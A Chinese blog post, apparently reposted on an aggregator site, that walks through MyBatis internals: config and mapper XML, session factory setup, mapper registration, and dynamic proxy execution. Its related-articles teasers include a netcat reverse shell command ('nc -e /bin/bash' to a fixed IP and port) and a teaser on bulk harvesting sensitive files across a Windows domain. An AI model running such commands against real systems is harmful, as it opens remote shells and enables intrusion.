【Mybatis源码】源码分析

news2025/2/24 13:37:30

【Mybatis源码】源码分析

  • (1)Mybatis的基本执行流程
    • (1)在resources目录下建立一个mybatis-config.xml配置文件
    • (2)准备UserMapper.xml文件
    • (3)使用SqlSessionFactoryBuilder.build构建Mybatis会话工厂SqlSessionFactory
    • (4)创建一个SqlSession会话,使用上一步的SqlSessionFactory开启一个SqlSession
    • (5)从sqlSession中获取我们要执行的Mapper文件
    • (6)执行流程图
  • (2)Mybatis源码分析
    • (1)Mapper的接口和xml标签的绑定
    • (2)MapperProxyFactory注册
    • (3)获取Mapper实例

(1)Mybatis的基本执行流程

(1)在resources目录下建立一个mybatis-config.xml配置文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
    <settings>
        <setting name="cacheEnabled" value="false"/>
        <setting name="useGeneratedKeys" value="true"/>
        <setting name="defaultExecutorType" value="REUSE"/>
    </settings>
    <environments default="development">
        <environment id="development">
            <transactionManager type="JDBC"/>
            <dataSource type="POOLED">
                <property name="driver" value="com.mysql.cj.jdbc.Driver"/>
                <property name="url" value="jdbc:mysql://localhost:3306/test"/>
                <property name="username" value="root"/>
                <property name="password" value="root"/>
            </dataSource>
        </environment>
    </environments>
    <mappers>
        <mapper resource="mapper/UserMapper.xml"/>
    </mappers>
</configuration>

(2)准备UserMapper.xml文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" >
<mapper namespace="com.yangfan.neo.dao.mapper.UserMapper">
    <resultMap id="BaseResultMap" type="com.yangfan.neo.dao.entity.User">
        <id column="id" property="id"/>
        <result column="user_name" property="userName"/>
        <result column="pass_word" property="passWord"/>
    </resultMap>
    <sql id="Base_Column_List">
        id, user_name, pass_word,
    </sql>
    <select id="selectById" resultMap="BaseResultMap">
        select
        id,user_name,pass_word
        FROM user where id = #{id}
    </select>
</mapper>

(3)使用SqlSessionFactoryBuilder.build构建Mybatis会话工厂SqlSessionFactory

public class MybatisUtil {
    private final static SqlSessionFactory sqlsessionFactory;
 
    static {
        String resource = "mybatis-config.xml";
        Reader reader = null;
        try {
            reader = Resources.getResourceAsReader(resource);
        } catch (IOException e) {
            e.printStackTrace();
        }
        sqlsessionFactory = new SqlSessionFactoryBuilder().build(reader);
    }
 
    public static SqlSessionFactory getSqlsessionFactory(){
        return sqlsessionFactory;
    }
}

(4)创建一个SqlSession会话,使用上一步的SqlSessionFactory开启一个SqlSession

 SqlSession sqlSession = sqlSessionFactory.openSession();

(5)从sqlSession中获取我们要执行的Mapper文件

 UserMapper mapper = sqlSession.getMapper(UserMapper.class);

然后就可以通过这个Mapper执行CURD语法了

(6)执行流程图

在这里插入图片描述

(2)Mybatis源码分析

思考三个问题
1-我们在调用mapper接口时是如何把方法和xml文件绑定起来的?
2-调用mapper方法具体是如何执行sql?
3-执行sql语句后应该是个resultset结合,那么怎样转换成接口对应的pojo实体?

(1)Mapper的接口和xml标签的绑定

(1)XMLMapperBuilder 的 bindMapperForNamespace 方法

private void bindMapperForNamespace() {
    String namespace = builderAssistant.getCurrentNamespace();
    if (namespace != null) {
        Class<?> boundType = null;
        try {
            boundType = Resources.classForName(namespace);
        } catch (ClassNotFoundException e) {
            // ignore, bound type is not required
        }
        if (boundType != null && !configuration.hasMapper(boundType)) {
            // Spring may not know the real resource name so we set a flag
            // to prevent loading again this resource from the mapper interface
            // look at MapperAnnotationBuilder#loadXmlResource
            configuration.addLoadedResource("namespace:" + namespace);
            configuration.addMapper(boundType);
        }
    }
}

(2)Mapper 接口的方法名与 XML 文件中的 sql、select、insert、update、delete 标签的 id 参数值进行绑定,源码体现在两个部分
1-生成id和MappedStatement对象注册到configuration
XMLMapperBuilder configurationElement 方法中,XMLMapperBuilder sqlElement 方法中

//sql标签
sqlElement(context.evalNodes("/mapper/sql"));
//select、insert、update、delete标签
buildStatementFromContext(context.evalNodes("select|insert|update|delete"));
String id = context.getStringAttribute("id");
id = builderAssistant.applyCurrentNamespace(id, false);
if (databaseIdMatchesCurrent(id, databaseId, requiredDatabaseId)) {
    sqlFragments.put(id, context);
}

在XMLStatementBuilder parseStatementNode 方法中获取标签的id

//获取 Mapper xml 中标签 id
String id = context.getStringAttribute("id");
builderAssistant.addMappedStatement(id, sqlSource, statementType, sqlCommandType,
    fetchSize, timeout, parameterMap, parameterTypeClass, resultMap, resultTypeClass,
    resultSetTypeEnum, flushCache, useCache, resultOrdered,
    keyGenerator, keyProperty, keyColumn, databaseId, langDriver, resultSets);

MapperBuilderAssistant addMappedStatement 方法中,最后把 MappedStatement 注册到 configuration 对象中。

configuration.addMappedStatement(statement);

上面的过程其实就是将xml文件的标签进行解析,然后封装成一个MapperedStatement;而mapper的执行核心是用了jdk的动态代理,扫描mapper文件时有个MapperRegistry的过程,其核心就是将接口封装成MapperProxyFactory的一个属性然后在添加到knownMappers中。

(2)MapperProxyFactory注册

public <T> void addMapper(Class<T> type) {
    if (type.isInterface()) {
      if (hasMapper(type)) {
        throw new BindingException("Type " + type + " is already known to the MapperRegistry.");
      }
      boolean loadCompleted = false;
      try {
        knownMappers.put(type, new MapperProxyFactory<>(type));
        MapperAnnotationBuilder parser = new MapperAnnotationBuilder(config, type);
        parser.parse();
        loadCompleted = true;
      } finally {
        if (!loadCompleted) {
          knownMappers.remove(type);
        }
      }
    }
  }

上面是Mapper的添加过程,我们在调用某个mapper如前面讲到的UserMapper,其实拿到的是我们定义的接口动态代理后的结果,下面我们看我们获取某个mapper时具体是怎样执行的流程?

(3)获取Mapper实例

第一步根据类型从knowMappers中获取一个MapperProxyFactory

  public <T> T getMapper(Class<T> type, SqlSession sqlSession) {
    final MapperProxyFactory<T> mapperProxyFactory = (MapperProxyFactory<T>) knownMappers.get(type); //1
    if (mapperProxyFactory == null) {
      throw new BindingException("Type " + type + " is not known to the MapperRegistry.");
    }
    try {
      return mapperProxyFactory.newInstance(sqlSession); //2
    } catch (Exception e) {
      throw new BindingException("Error getting mapper instance. Cause: " + e, e);
    }
  }

第二步调用MapperProxyFactory.newInstance,里面具体的操作是根据MapperProxyFactory中的接口创建了一个MapperProxy对象,而MapperProxy又实现了InvocationHandler接口,从而再通过Proxy.newProxyInstance创建一个动态代理对象返回给调用方,这就是所谓的动态代理的过程。

(T) Proxy.newProxyInstance(mapperInterface.getClassLoader(), new Class[] { mapperInterface }, mapperProxy)
 
  public T newInstance(SqlSession sqlSession) {
    final MapperProxy<T> mapperProxy = new MapperProxy<>(sqlSession, mapperInterface, methodCache);
    return newInstance(mapperProxy);
  }

了解了mapper动态代理的过程,就不难发现,当我们掉用mapper接口的方法时就会调用MapperProxy的invoke方法

 @Override
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    try {
      if (Object.class.equals(method.getDeclaringClass())) {
        return method.invoke(this, args);
      } else {
        return cachedInvoker(method).invoke(proxy, method, args, sqlSession);
      }
    } catch (Throwable t) {
      throw ExceptionUtil.unwrapThrowable(t);
    }
  }

根据 Mapper 接口方法查到并调用对应的 MappedStatement,完成绑定

new PlainMethodInvoker(new MapperMethod(mapperInterface, method, sqlSession.getConfiguration()));

MapperMethod 对象的 SqlCommand 中的 name 属性根据解析设置为对应的 MappedStatement 的 id

public MapperMethod(Class<?> mapperInterface, Method method, Configuration config) {
    //创建SqlCommand对象,该对象包含一些和sql相关的信息
    this.command = new SqlCommand(config, mapperInterface, method);
    //创建MethodSignature对象,由类名可知,该对象包含了被拦截方法的一些信息
    this.method = new MethodSignature(config, mapperInterface, method);
  }

在SqlCommand中保存了一些和SQL相关信息,首先会解析MappedStatement

 MappedStatement ms = resolveMappedStatement(mapperInterface, methodName, declaringClass,
          configuration);
public SqlCommand(Configuration configuration, Class<?> mapperInterface, Method method) {
      final String methodName = method.getName();
      final Class<?> declaringClass = method.getDeclaringClass();
      //核心代码,解析MappedStatement
      MappedStatement ms = resolveMappedStatement(mapperInterface, methodName, declaringClass,
          configuration);
      if (ms == null) {
        if (method.getAnnotation(Flush.class) != null) {
          name = null;
          type = SqlCommandType.FLUSH;
        } else {
          throw new BindingException("Invalid bound statement (not found): "
              + mapperInterface.getName() + "." + methodName);
        }
      } else {
        name = ms.getId();
        type = ms.getSqlCommandType();
        if (type == SqlCommandType.UNKNOWN) {
          throw new BindingException("Unknown execution method for: " + name);
        }
      }
    }

根据标签属性执行insert|update|query|delete方法

public Object execute(SqlSession sqlSession, Object[] args) {
    Object result;
    //根据 SQL 类型执行相应的数据库操作
    switch (command.getType()) {
      case INSERT: {
    // 对用户传入的参数进行转换
        Object param = method.convertArgsToSqlCommandParam(args);
        result = rowCountResult(sqlSession.insert(command.getName(), param));
        break;
      }
      case UPDATE: {
        Object param = method.convertArgsToSqlCommandParam(args);
        result = rowCountResult(sqlSession.update(command.getName(), param));
        break;
      }
      case DELETE: {
        Object param = method.convertArgsToSqlCommandParam(args);
        result = rowCountResult(sqlSession.delete(command.getName(), param));
        break;
      }
      case SELECT:
        // 根据目标方法的返回类型进行相应的查询操作
        if (method.returnsVoid() && method.hasResultHandler()) {
        // 如果方法返回值为 void,但参数列表中包含 ResultHandler,表明
        // 使用者想通过 ResultHandler 的方式获取查询结果,而非通过返回值
        // 获取结果
          executeWithResultHandler(sqlSession, args);
          result = null;
        } else if (method.returnsMany()) {
        // 执行查询操作,并返回多个结果
          result = executeForMany(sqlSession, args);
        } else if (method.returnsMap()) {
        // 执行查询操作,并将结果封装在 Map 中返回
          result = executeForMap(sqlSession, args);
        } else if (method.returnsCursor()) {
        // 执行查询操作,并返回一个 Cursor 对象
          result = executeForCursor(sqlSession, args);
        } else {
          Object param = method.convertArgsToSqlCommandParam(args);
        // 执行查询操作,并返回一个结果
          result = sqlSession.selectOne(command.getName(), param);
          if (method.returnsOptional()
              && (result == null || !method.getReturnType().equals(result.getClass()))) {
            result = Optional.ofNullable(result);
          }
        }
        break;
      case FLUSH:
        result = sqlSession.flushStatements();
        break;
      default:
        throw new BindingException("Unknown execution method for: " + command.getName());
    }
// 如果方法的返回值为基本类型,而返回值却为 null,此种情况下应抛出异常
    if (result == null && method.getReturnType().isPrimitive() && !method.returnsVoid()) {
      throw new BindingException("Mapper method '" + command.getName()
          + " attempted to return null from a method with a primitive return type (" + method.getReturnType() + ").");
    }
    return result;
  }

下面分析下convertArgsToSqlCommandParam,该方法中主要是为了映射查询方法的参数名称与参数值。

public Object getNamedParams(Object[] args) {
    final int paramCount = names.size();
    if (args == null || paramCount == 0) {
      return null;
    } else if (!hasParamAnnotation && paramCount == 1) {
      Object value = args[names.firstKey()];
      return wrapToMapIfCollection(value, useActualParamName ? names.get(0) : null);
    } else {
      final Map<String, Object> param = new ParamMap<>();
      int i = 0;
      for (Map.Entry<Integer, String> entry : names.entrySet()) {
        // 添加 <参数名, 参数值> 键值对到 param 中
        param.put(entry.getValue(), args[entry.getKey()]);
        // add generic param names (param1, param2, ...)
        final String genericParamName = GENERIC_NAME_PREFIX + (i + 1);
        // ensure not to overwrite parameter named with @Param
        // 检测 names 中是否包含 genericParamName,什么情况下会包含?        
        // 答案如下:
        // 使用者显式将参数名称配置为 param1,即 @Param("param1")
        if (!names.containsValue(genericParamName)) {
         // 添加 <param*, value> 到 param 中
         param.put(genericParamName, args[entry.getKey()]);
        }
        i++;
      }
      return param;
    }
  }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境&#xff0c;大家都在感受着一股寒意。也不知道从什么时候开始&#xff0c;身边悲观的声音越来越多了。 如果再给你一次机会&#xff0c;你还会选择互联网吗&#xff1f; 回答这个问题之前&#xff0c;我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下&#xff0c;我们想要实现某些监控十分简单&#xff0c;只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入&#xff0c;导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…

Linux shell脚本之笔记及实用笔记

一、前言 二、shell脚本之数据类型 2.1、数组遍历 1)数组定义 如果说变量是存储单个变量的内存空间,那么数组就是多个变量的集合,它存储多个元素在一片连续的内存空间中。在bash中,只支持一维数组,不支持多维数组。Linux Shell 数组用括号来表示,Bash Shell 只支持一维…

15. “接口隔离模式”之 Proxy模式

1. 动机 在面向对象系统中&#xff0c;有些对象由于某些原因&#xff08;比如对象创建的开销很大&#xff0c;或者某些操作需要安全控制&#xff0c;或者需要进程外的访问等&#xff09;&#xff0c;直接访问会给使用者、或者系统结构带来很多麻烦。如何在不失去透明操作对象的…

Java中值得注意的『运算符、逻辑控制、输入输出』

目录前言一、运算符&#x1f351;1、取模运算符%&#x1f351;2、增量运算符&#x1f351;3、逻辑运算符&#x1f351;4、位运算符二、逻辑控制语句&#x1f351;1、switch语句三、Java输入和输出&#x1f351;1、输出到控制台&#x1f351;2、从键盘输入四、猜数字游戏——Jav…

软件过程与项目管理复习(1)

文章目录Week1Project Introduction定义特点Project management项目管理的价值项目管理的5要素Project manager项目经理的技能要求project manager 的核心任务&#xff08;key activities)规划 planning组织 organizing领导 leading掌控 controllingAgile Scrum master 的核心任…

结构体超详解(小白一看就懂,多维度分析!!!!)

目录 一、前言 二、结构体详解 &#x1f350;什么是结构体 &#x1f34e;结构体的定义与基础结构 &#x1f351;结构体的使用 &#x1f4a6;结构体的初始化 &#x1f4a6;结构体的成员访问 &#x1f4a6;结构体数组 &#x1f4a6;结构体指针--------------指向结构体变…

PNAS:人类头皮记录电位的时间尺度

导读 人类的许多行为都是由在不同时间尺度上发生的共同过程所支配的。标准的事件相关电位分析假设有关实验事件的响应持续时间是固定的。然而&#xff0c;最近对动物的单个单元记录显示&#xff0c;在需要灵活计时的行为中&#xff0c;神经活动尺度跨越了不同的持续时间。本研…

vue3——使用axios

1、Axios 是什么? 浏览器页面在向服务器请求数据时&#xff0c;因为返回的是整个页面的数据&#xff0c;页面都会强制刷新一下&#xff0c;这对于用户来讲并不是很友好。并且我们只是需要修改页面的部分数据&#xff0c;但是从服务器端发送的却是整个页面的数据&#xff0c;十…

Keras深度学习实战(33)——基于LSTM的序列预测模型

Keras深度学习实战&#xff08;33&#xff09;——基于LSTM的序列预测模型0. 前言1. 序列学习任务1.1 命名实体提取1.2 文本摘要1.3 机器翻译2. 从输出网络返回输出序列2.1 传统模型体系结构2.2 返回每个时间戳的网络中间状态序列2.3 使用双向 LSTM 网络小结系列链接0. 前言 在…

Qt易忘样式表总结

目录前言1、Qt设置样式的几种方式2、几种复合控件的样式设置QTableWidgetQCalendarWidgetQTreeWidgetQSpinBoxQComboBox前言 在使用Qt框架开发软件时&#xff0c;为了美观和更好的用户体验&#xff0c;需要为各种控件设置样式。一些通用且简单的样式如背景色、边框、字体字号等…

js实现图片懒加载

js实现图片懒加载 1、介绍getBoundingClientRect()函数 该函数没有参数&#xff0c;用于获取元素位置&#xff0c;返回一个对象&#xff0c;具有六个属性分别是&#xff1a; ele.getBoundingClientRect().top – 返回元素上边到视窗上边的距离 ele.getBoundingClientRect().l…

【经典面试题-LeetCode134:加油站问题(Java实现)】

加油站问题一、题目描述1.题目内容2.样例二、解决方案1.分析2.核心代码一、题目描述 1.题目内容 在一条环路上有 n 个加油站&#xff0c;其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车&#xff0c;从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i…

自动控制原理 - 2 控制系统的数学模型 节2.4-2.6

------------------------------------------------------------------------------ 2 控制系统的数学模型2.4 控制系统的传递函数2.5 典型环节的传递函数2.6 结构图的绘制 2 控制系统的数学模型 2.4 控制系统的传递函数 为何引入传递函数&#xff1f; 微分方程模型的优缺…

Webpack面试题总结

说说你对webpack的理解&#xff1f;解决了什么问题&#xff1f; webpack最初的目标是实现前端项目模块化&#xff0c;目的在于更高效的管理和维护项目中的每一个资源 模块化&#xff1a; 最早的时候&#xff0c;我们通过文件划分的形式实现模块化&#xff0c;也就是将每个功能…

JVM性能——开启回收日志和实时查看GC信息

JVM性能——开启回收日志和实时查看GC信息 JDK版本&#xff1a;OpenJDK 1.8.0_352-b08 操作系统&#xff1a;CentOS 7 如果文章内出现测试数据测试代码 depth:23 关于JVM的其他文章 JVM性能——垃圾回收器的优化策略 JVM性能——垃圾回收器的介绍 JVM性能——开启回收日…

网络赚钱项目 - 虚拟项目如何选择产品

今日一个老粉找我&#xff0c;他去年3月份就重视我跟我互动了&#xff0c;他上来并不是索取什么&#xff0c;而是给我信息&#xff0c;比如他最近测验了什么产品&#xff0c;什么产品好卖&#xff0c;都会把测验的数据告诉我&#xff0c;当然作为回报&#xff0c;我也会告诉他一…